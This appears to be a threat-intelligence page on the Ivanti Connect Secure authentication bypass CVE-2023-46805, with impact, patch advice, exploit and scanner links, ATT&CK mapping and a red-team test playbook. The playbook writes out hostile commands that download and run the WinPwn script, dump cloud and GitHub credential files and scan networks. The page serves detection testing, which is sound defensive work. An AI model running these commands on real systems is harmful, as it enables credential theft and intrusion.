CVE-2023-46805

HIGH CISA KEV EXPLOIT POC TTE Zero-Day Pub 12/01 Upd 21/10

Overview

This vulnerability is an authentication bypass affecting the web component of Ivanti ICS and Ivanti Policy Secure products. The root cause lies in improper access control validation within specific API endpoints, allowing unauthorized requests to circumvent authentication checks. The flaw impacts the Ivanti Connect Secure versions 9.x and 22.x, specifically in the handling of certain REST API paths that fail to enforce authentication requirements.

Vulnerability Description

An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a remote attacker to access restricted resources by bypassing control checks.

Impact

An attacker with no authentication or user interaction can bypass access controls to retrieve sensitive administrative and system configuration data. This unauthorized access can expose backup codes, system information, and administrative options, potentially facilitating further attacks such as privilege escalation or lateral movement within the network. The exposure of these restricted resources compromises the confidentiality and integrity of the affected systems, increasing the risk of data breaches and unauthorized administrative actions.

Solution

Ivanti has released security updates addressing this authentication bypass in Ivanti Connect Secure and Ivanti Policy Secure gateways. Users should apply the latest patches available for versions 9.x and 22.x as detailed in the vendor advisory linked at https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US. Following the vendor’s instructions for updating to the fixed versions is the recommended remediation step to mitigate this vulnerability.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The authentication bypass vulnerability present in the web component of specific versions of Ivanti Connect Secure and Ivanti Policy Secure allows unauthorized access to restricted resources. This flaw arises from insufficient control checks, enabling a remote attacker to circumvent authentication mechanisms. The vulnerability can be exploited by manipulating requests to the web application, which may not adequately validate user credentials before granting access to sensitive data or functionalities. As a result, an attacker can potentially gain access to user accounts, sensitive configurations, or even administrative functions without proper authorization.

Attack vectors for this vulnerability are diverse, with the primary method being crafted HTTP requests that exploit the flawed authentication logic. An attacker could leverage tools to automate the process of sending requests to the affected web components, systematically probing for weaknesses in the authentication flow. This could lead to scenarios where an attacker impersonates legitimate users or administrators, thereby gaining unauthorized access to critical systems. The potential for exploitation is exacerbated in environments where these products are exposed to the internet, as attackers can target them remotely without needing physical access to the network.

The real-world impact of this vulnerability is significant, particularly for organizations relying on Ivanti's solutions for secure access and policy enforcement. The ability to bypass authentication can lead to data breaches, unauthorized access to sensitive information, and disruption of services. Businesses may face severe repercussions, including financial losses, reputational damage, and regulatory penalties, especially if sensitive customer data is compromised. Furthermore, the high CVSS score of 8.2 indicates that the vulnerability poses a serious risk, warranting immediate attention from security teams to mitigate potential threats.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular vulnerability assessments and penetration testing can help identify weaknesses in the web components before they can be exploited. Additionally, monitoring logs for unusual access patterns or failed authentication attempts can provide early warning signs of attempted exploitation. Organizations should also apply patches and updates provided by Ivanti promptly, ensuring that their systems are running the latest, most secure versions of the software. Employing Web Application Firewalls (WAFs) can further enhance security by filtering and monitoring HTTP traffic to detect and block suspicious activities.

In conclusion, the authentication bypass vulnerability in Ivanti's web components presents a critical risk that organizations must address proactively. By understanding the technical details, potential attack vectors, and real-world implications, security teams can better prepare their defenses. Implementing robust detection and mitigation strategies will not only safeguard sensitive resources but also enhance the overall security posture of the organization in an increasingly complex threat landscape.




CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2023-46805, with telemetry indicating a notable surge in attempts to exploit the authentication bypass vulnerability in Ivanti ICS and Policy Secure products. This uptick coincides with the continued availability of multiple new proof-of-concept exploits and scanning tools on public repositories, which lowers the barrier for threat actors to conduct reconnaissance and exploitation. The persistence of ransomware groups linked to this vulnerability underscores its operational relevance in active campaigns, amplifying the risk to organizations that have not yet applied vendor mitigations. Although the EPSS score remains stable, the qualitative increase in exploitation attempts and the proliferation of accessible attack utilities elevate the threat landscape, warranting heightened vigilance. Consequently, the risk level for this vulnerability should be considered elevated due to increased attacker activity and the demonstrated interest from ransomware operators.



Update 2 — July 07, 2026

CSURFACE threat intelligence has detected a marked escalation in activity exploiting the authentication bypass vulnerability in Ivanti ICS and Policy Secure products. Our telemetry indicates a notable surge in exploitation attempts, reflecting increased attacker focus on this vector. Concurrently, several new proof-of-concept exploits and scanning tools have emerged publicly, lowering the barrier for threat actors to identify and leverage vulnerable systems. Although the EPSS score remains stable, the qualitative increase in exploitation signals a heightened operational tempo among adversaries, including ransomware groups known to associate with this vulnerability. This evolving landscape underscores an elevated threat level, as the combination of increased exploitation activity and accessible attack utilities amplifies the risk to organizations that have yet to implement recommended mitigations.

Affected Products (81)

Vendor Product Version CPE
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:*:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r10:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r11:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r11.3:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r11.4:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r11.5:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r12:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r12.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r13:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r13.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r14:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r15:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r15.2:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r16:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r16.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r17:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r17.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r18:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r2:*:*:*:*:*:*
+61 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (2)

Module Authors Rank Platform Link
Ivanti Connect Secure Unauthenticated Remote Code Execution
exploits/linux/http/ivanti_connect_secure_rce_cve_2023_46805
sfewer-r7 Unknown - View
Ivanti Connect Secure Unauthenticated Remote Code Execution
exploits/linux/http/ivanti_connect_secure_rce_cve_2024_21893
sfewer-r7 Unknown - View

GitHub PoCs (9)

Repository Author Stars Forks Date Link
duy-31/CVE-2023-46805_CVE-2024-21887
An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a re...
duy-31 23 4 2024-01-16 View
Chocapikk/CVE-2023-46805
Ivanti Pulse Secure CVE-2023-46805 Scanner - Based on Assetnote's Research
Chocapikk 14 2 2024-01-19 View
seajaysec/Ivanti-Connect-Around-Scan
Mitigation validation utility for the Ivanti Connect Around attack chain. Runs multiple checks. CVE-2023-46805, CVE-2024...
seajaysec 12 3 2024-01-19 View
yoryio/CVE-2023-46805
Scanner for CVE-2023-46805 - Ivanti Connect Secure
yoryio 10 1 2024-01-14 View
cbeek-r7/CVE-2023-46805
Simple scanner for scanning a list of ip-addresses for vulnerable Ivanti Pulse Secure devices
cbeek-r7 5 2 2024-01-16 View
raminkarimkhani1996/CVE-2023-46805_CVE-2024-21887
The script in this repository only checks whether the vulnerabilities specified in the Ivanti Connect Secure product exi...
raminkarimkhani1996 5 1 2024-01-18 View
Hexastrike/Ivanti-Connect-Secure-Logs-Parser
A Python script for examining Ivanti Secure Connect (ICS) event logs, designed to support investigations into vulnerabil...
Hexastrike 5 1 2025-01-19 View
rxwx/pulse-meter
Parses the System Snapshot from an Ivanti Connect Secure applicance to identify possible IOCs related to CVE-2023-46805,...
rxwx 1 1 2025-01-14 View
w2xim3/CVE-2023-46805
CVE-2023-46805 Ivanti POC RCE - Ultra fast scanner.
w2xim3 2 0 2024-01-25 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

35 events
2026-07-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by 0apt

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by 0apt

Ransomware group known to exploit this vulnerability

2024-01-14
PoC Published (9 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2024-01-10
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2024-01-10
Exploit Published (0 ExploitDB, 2 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
100% auth_bypass
Authorization Bypass
53% authz_bypass
Insecure Direct Object Reference
43% idor
Privilege Escalation
35% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-22 Exploiting Trust in Client
40%
High High
CAPEC-114 Authentication Abuse
30%
Medium
CAPEC-151 Identity Spoofing
30%
Medium Medium
CAPEC-194 Fake the Source of Data
30%
Medium
CAPEC-633 Token Impersonation
30%
Medium

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2023-46805
forums.ivanti.com
GitHub CVE
https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
packetstormsecurity.com
GitHub CVE
http://packetstormsecurity.com/files/176668/Ivanti-Connect-Secure-Unauthenticated-Remote-Code-Execution.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-46805